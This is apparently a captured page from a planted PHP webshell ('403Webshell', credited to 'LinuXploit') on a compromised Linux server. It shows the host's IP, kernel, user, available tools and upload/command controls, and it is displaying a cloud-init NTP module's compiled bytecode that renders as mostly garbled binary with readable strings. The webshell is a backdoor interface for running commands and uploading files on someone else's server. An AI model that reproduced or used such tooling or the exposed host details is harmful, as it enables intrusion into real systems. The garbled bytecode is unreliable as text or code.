403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_ntp.cpython-314.pyc
+
��iL��a�RTt+0tRt^RIt^RIt^RIt^RIHtHt^RIH	t	H
t
HtHtH
t
^RIHt^RIHt^RIHt^RIHt]P,!]4t]tRt^t.R	NR
NRNRNR
NRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNR NR!NR"NR#NR$NR%NR&NR'NtR(R)R*R+R,R-R(.R.R(R/R0R1R/R2R)R3R+]R-R4.R.R2R/R5R1R/R6R)R6R+]R-R6.R.R6R/R5R1R/R7R)R3R+R8R-.R.R3R/R9R1R/R:R)R;R+R<R-.R.R:R/R=R1R//t/R
R(R+R>R.R*/R2R+RR-.R.R3//bRR:R)R?R+R@//bRR(R.R*/R:R)R?R+R@//bR
R2R.R3/R(R.R*//bRR(R.R*R+R>//bRR(R+R>//bRR2R+RR.R3R/R5/R(R+RAR-R(.R.R*R/R0/R7R)RBR+RCR-R7.R.R7R/RD//bRR(R.R*/R:R)R?R+R@//bRR7//bRR(R.R*/R2R+RR.R3/R:R)R;//bRR(R.R*/R2R+RR.R3/R:R)R?//bRR(R.R*/R2R.R3R+R/R:R)R?R+R@//bRR:R)R?//bR R2R.R3/R(R.R*//bR$R(R.R*/R2R+RR.R3/R:R)R?//bR&R(R+R>//bt]^kRUFt]R,]]&K	RVFt]R ,]]&K	RWFt]R$,]]&K	RERFRG]RH]RIR2./t ]^k]!!.RXO4t"RJt#RKRLlt$RYRMlt%RZRNlt&ROt'R[RPlt(RQt)RRRSlt*R#)\zNTP: enable and configure ntpN)�Dict�Mapping)�subp�
temp_utils�	templater�
type_utils�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEz
/etc/ntp.conf�	almalinux�alpine�aosc�
azurelinux�centos�
cloudlinux�cos�debian�	eurolinux�fedora�freebsd�mariner�miraclelinux�openbsd�	openeuler�OpenCloudOS�openmandriva�opensuse�opensuse-microos�opensuse-tumbleweed�
opensuse-leap�photonzraspberry-pi-os�rhel�rocky�sle_hpc�	sle-micro�sles�	TencentOS�ubuntu�	virtuozzo�chrony�	check_exe�chronyd�confpathz/etc/chrony.conf�packages�service_name�
template_namezchrony.conf.{distro}�template�ntp�ntpd�ntpseczntp.conf.{distro}�ntpdate�openntpdz/etc/ntpd.confzntpd.conf.{distro}zsystemd-timesyncdz/lib/systemd/systemd-timesyncdz-/etc/systemd/timesyncd.conf.d/cloud-init.confztimesyncd.confz/etc/chrony/chrony.confz"/usr/lib/systemd/systemd-timesyncdz/etc/systemd/timesyncd.confz/usr/local/etc/chrony.confz/usr/local/sbin/ntpdz/usr/local/etc/ntp.confzntpd.conf.openbsd�id�cc_ntp�distros�	frequency�activate_by_schema_keysc��\p\P!\4pW9d!\P!W!V,.RR7pV#)z�Construct a distro-specific ntp client config dictionary by merging
   distro specific changes into base config.

@param distro: String providing the distro class name.
@returns: Dict of distro configurations for ntp clients.
T��reverse)�DISTRO_CLIENT_CONFIG�copy�NTP_CLIENT_CONFIGr�
mergemanydict)�distro�dcfg�cfgs&  �9/usr/lib/python3/dist-packages/cloudinit/config/cc_ntp.py�distro_ntp_client_configsrHs;�� �D�
�)�)�%�
&�C�
�~�� � �#�F�|�!4�d�C���J�c�$�V^8�dQhR\/#)��return)r)�formats"rG�__annotate__rN!s��/�/�W�/rIc��\VP4pV'd0VR8wd)\PRV4VP	V/4#VPRR4p/pVR8Xd�VPFYpVP	V4p\P!VP	R44'gKA\PRV4TpM	V'g<VP^,p\PRV4VP	V/4pV#\PRV4VP	V/4pV#)z�Determine which ntp client is to be used, consulting the distro
   for its preference.

@param ntp_client: String name of the ntp client to use.
@param distro: Distro class instance.
@returns: Dict of the selected ntp client or {} if none selected.
�autoz4Selected NTP client "%s" via user-data configuration�
ntp_clientr,z+Selected NTP client "%s", already installedz<Selected distro preferred NTP client "%s", not yet installedz1Selected NTP client "%s" via distro system config)	rH�name�LOG�debug�get�
get_option�preferred_ntp_clientsr�which)rQrD�
distro_cfg�distro_ntp_client�	clientcfg�clientrFs&&     rG�select_ntp_clientr]!s#��+�6�;�;�7�J��j�F�*��	�	�B�J�	
��~�~�j�"�-�-��)�)�,��?���I��F�"��2�2�F��.�.��(�C��z�z�#�'�'�+�.�/�/��	�	�A�6�� �	��3���1�1�!�4�F��I�I�N��
�#���v�r�2�I���
	�	�	�?��	
��N�N�#4�b�9�	��rIc�R�\P!V4'dR#V!V4R#)aPInstall ntp client package if not already installed.

@param install_func: function.  This parameter is invoked with the contents
of the packages parameter.
@param packages: list.  This parameter defaults to ['ntp'].
@param check_exe: string.  The name of a binary that indicates the package
the specified package is already installed.
N)rrX)�install_funcr/r,s&&&rG�install_ntp_clientr`Ss���z�z�)������rIc��\PPV4'd \P!WR,4R#R#)z�Rename any existing ntp client config file

@param confpath: string. Specify a path to an existing ntp client
configuration file.
z.distN)�os�path�existsr�rename�r.s&rG�rename_ntp_confrgbs-��
�w�w�~�~�h������H��0�1� rIc	��.pTpVR8XdRpMVR8XgVR8XdRp\\4FVpTPRP\	V4.V.,R.,Uu.uFqD'gKVNK	up44KX	V#uupi)z�Generate a list of server names to populate an ntp client configuration
file.

@param distro: string.  Specify the distro name
@returns: list: A list of strings representing ntp servers for this distro.
r'rrr��.zpool.ntp.org)�range�NR_POOL_SERVERS�append�join�str)rD�names�pool_distro�x�ns&    rG�generate_server_namesrtls���
�E��K�
���!��	�8�	�v��4���
�?�
#��
����H�H� ��V�H��}�4��7G�G�M�G�q�1���G�M�
�	
�$��L��	Ns�%	B
�3B
c	���V'g.pV'g.pV'g.pV'g.pV'gV'g
VR8XdR#V'g@VR8Xd9VR8Xd2\V4p\PRRPV44M@V'g9V'g1\V4p\PRRPV44V'g\	R4hV'gV'g\	R	4hR
VRVRVR
V/p	V'd9\
P!RRR7p
V
^,p\P!WxR7\P!WvV	4V'd\P!V4R#R#)a�Render a ntp client configuration for the specified client.

@param distro_name: string.  The distro class name.
@param service_name: string. The name of the NTP client service.
@param servers: A list of strings specifying ntp servers. Defaults to empty
list.
@param pools: A list of strings specifying ntp pools. Defaults to empty
list.
@param allow: A list of strings specifying a network/CIDR. Defaults to
empty list.
@param peers: A list nodes that should peer with each other. Defaults to
empty list.
@param path: A string to specify where to write the rendered template.
@param template_fn: A string to specify the template source file.
@param template: A string specifying the contents of the template. This
content will be written to a temporary file before being used to render
the configuration file.

@raises: ValueError when path is None.
@raises: ValueError when template_fn is None and template is None.
rNrr4z%Adding distro default ntp servers: %s�,z*Adding distro default ntp pool servers: %sz Invalid value for path parameterz$Not template_fn or template provided�servers�pools�allow�peersztemplate_name-z.tmpl)�prefix�suffix)�content)rtrSrTrn�
ValueErrorr�mkstempr�
write_filer�render_to_file�del_file)�distro_namer0rwrxryrzrc�template_fnr2�params�tfiles&&&&&&&&&  rG�write_ntp_config_templater��s!��@�������������5�[�E�%9���{�h�.�<�6�3I�(��4���	�	�9�3�8�8�G�;L�M���%�k�2���	�	�8�#�(�(�5�/�	
���;�<�<��x��?�@�@�	�7�������	�F���"�"�*:�7�K���A�h������6�
���[��7���
�
�k�"�rIc�L�.p\P\VP444pV'd=RP	\V44pVP
RPVR74MB\VPR4VPR4.4'gVP
R4\VP44EFwrERV,pVR8XdG\V\V\4.4'g$VP
R	PWeR
74KZK\VR8Xd<\V\4'g$VP
RPWeR
74K�K�VR9dBVfK�\V\4'g$VP
RPWeR
74K�K�\V\4'dK�VP
RPWeR
74EK"	V'd+\RPRP	V4R74hR
#)a;Validate user-provided ntp:config option values.

This function supplements flexible jsonschema validation with specific
value checks to aid in triage of invalid user-provided configuration.

@param ntp_config: Dictionary of configuration value under 'ntp'.

@raises: ValueError describing invalid values provided.
z, z(Missing required ntp:config keys: {keys})�keysr2r1zJEither ntp:config:template or ntp:config:template_name values are requiredzntp:config:r.z6Expected a config file path {keypath}. Found ({value}))�keypath�valuer/zHExpected a list of required package names for {keypath}. Found ({value})Nz5Expected a string type for {keypath}. Found ({value})z$Invalid ntp configuration:\n{errors}�
)�errors)r2r1)�REQUIRED_NTP_CONFIG_KEYS�
difference�setr�rn�sortedrmrM�anyrU�items�all�
isinstancero�listr~)�
ntp_configr��missingr��keyr�r�s&      rG�supplemental_schema_validationr��s����F�&�1�1�#�j�o�o�6G�2H�I�G���y�y����)���
�
�6�=�=�4�=�H�	
��	���
�	#�Z�^�^�O�%D�E���	�
�
�
�	
��Z�-�-�/�0�
���#�%���*����z�%��5�6�7�7��
�
�'�'-�v�g�v�'K��8�
�J�
��e�T�*�*��
�
�'�'-�v�g�v�'K��+�
�1�
1��}���e�S�)�)��
�
�'�'-�v�g�v�'K��*�
�E�3�'�'��M�M�G�N�N�#�O��
�/1�:��3�:�:��y�y��(�
;�
�
�	
�rIc
�L�V^8�dQhR\R\R\R\RR/#)rKrRrF�cloud�argsrLN)ror
r	r�)rMs"rGrNrNs6��_�_��_�6�_�%�_�t�_��_rIc
�^	�RV9d\PRV4R#VR,pVf/p\V\4'g0\	RP\P!V4R74hVPRR4p\P!V4'd\PRV4R#\VPR	4VP4p\P!WdPR
/4.RR7p\V4\VPR4R
7RpVPR4'gjVR,P!RVPP"4pVP%V4pV'g$RVPR4,p	\	V	4h\PRVPR44\PRVPR.44\PRVPR.44\PRVPR.44\PRVPR.44\'VPP"VPR4VPR.4VPR.4VPR.4VPR.4VPR4VVPR4R7	\)VPP*VR,VR,R7\P,!4'duVPR4R 8wd;VPP/R!R 4VPP/R#R 4VPP/R%VR,4VPP/R'VR,4R# \0P2d\P5R"4L�i;i \0P2d\P5R$4L�i;i \0P2dp
\P7R&T
4hRp
?
ii;i \0P2dp
\P7R(T
4hRp
?
ii;i))zEnable and configure ntp.r3z8Skipping module named %s, not present or disabled by cfgNzL'ntp' key existed in config, but not a dictionary type, is a {_type} instead)�_type�enabledTz)Skipping module named %s, disabled by cfgrQ�configr>r.rfr2r1z{distro}z#No template found, not rendering %szservice_name: %sr0zservers: %srwz	pools: %srxz	allow: %sryz	peers: %srz)r0rwrxryrzrcr�r2r/r,)r/r,r4�stopz Failed to stop base ntpd service�disablez#Failed to disable base ntpd service�enablez Failed to enable ntp service: %s�reloadz&Failed to reload/start ntp service: %s)rSrTr��dict�RuntimeErrorrMr�obj_namerUr�is_falser]rDrCr�rg�replacerR�get_template_filenamer�r`�install_packages�is_BSD�manage_servicer�ProcessExecutionError�warning�	exception)rRrFr�r��ntp_cfgr��ntp_client_configr�r1�msg�es&&&&       rG�handler�s����C���	�	�F��	
�	��%�j�G������g��&�&��
$�$*�F��1D�1D�W�1M�F�$N�
�	
��k�k�)�T�*�G��}�}�W����	�	�=�t�D��*����L�!�5�<�<����*�*�	�K�K��"�5�6����#�#4�5��.�2�2�:�>�?��K�� � ��,�,�)�/�:�B�B�����)�)�
�
��1�1�-�@���5�#�'�'��8�9�
��s�#�#��I�I� �"3�"7�"7��"G�H��I�I�m�W�[�[��B�7�8��I�I�k�7�;�;�w��3�4��I�I�k�7�;�;�w��3�4��I�I�k�7�;�;�w��3�4��
�����&�*�*�>�:����I�r�*��k�k�'�2�&��k�k�'�2�&��k�k�'�2�&�
�
"�
"�:�
.��"�&�&�z�2�
��
���%�%�"�:�.�#�K�0��
�{�{�}�}�� � ��0�F�:�
@����+�+�F�F�;�
C����+�+�I�v�>�	��L�L�'�'��+�N�;�
��
���#�#��'��7�	
���-�-�
@����>�?�
@���-�-�
C����A�B�
C���)�)�	��M�M�<�a�@���	���%�%���
�
�>��B�
���sT�$O'�P�#Q�#Q;�'*P�P�*Q�Q�Q8�Q3�3Q8�;R,�R'�'R,c��V^8�dQh/^\9d\\\3,;R&^\9d
\;R&#)rKr@�meta)�__conditional_annotations__rror)rMs"rGrNrNsC��#�#�@N�N�d�3��9�o�N�A$�~��j��$rI)rr r!)r
rr$)r%r&)r,r.r/r0)Nr4)N)NNNNNNNN),r��__doc__rA�loggingrb�typingrr�	cloudinitrrrrr�cloudinit.cloudr	�cloudinit.configr
�cloudinit.config.schemar�cloudinit.settingsr�	getLogger�__name__rSr;�NTP_CONFrlr:rBr@rDr��	frozensetr�rHr]r`rgrtr�r�r�rN)r�s@rG�<module>r�sg���$���	� �C�C�!�#�.�+�
����!���	����� �� �� �� ��	 �

� ��
 �
� �
� �� �
� �� �� �� �� �� � �! �"�# �$�% �&�' �(�) �*�+ �,
�- �.�/ �0�1 �2�3 �4�5 �6�7 �8�9 �:�; �<
�= �>�? ��F
��Y��&��X�J����/��D�
�
��V��H��X�J����,��D�
���Y��H��Y�K��	��,��D�
���V��$��B����-��D�
���5��C��B��+��)��D�
�C)��XN)����1��I�
�	������F�
�
�N)����=��5�
�
�N)�$���I�
�	��=��5�
�	�%N)�6
�
��F�
�	��I�
�	�7N)�F
���I��1�
��GN)�R
���1�
��SN)�\�
����F��0�
�
	��4���
��I��3�	
�	��/��1�����J��0�
��]N)�D���I�
�	��=��5�
�	�EN)�V��B��WN)�\���I�
�	����F�
�	��9�
��]N)�t���I�
�	����F�
�	��=�
��uN)�L
���I�
�	���
�O�D���=��5�
�	�MN)�`���=�
��aN)�j�
��F�
�	��I�
�	
�kN)�z���I�
�	����F�
�	��=�
�
�{N)�R
���1�
��SN)��N�`K�F�#7�
�#C��� �K�3�F�#7��#?��� �3�'�F�#7��#?��� �'�	�(�
�w�����w�	���%�9���
�/�d�2��:J#�Z:
�z_rI

Youez - 2016 - github.com/yon3zu
LinuXploit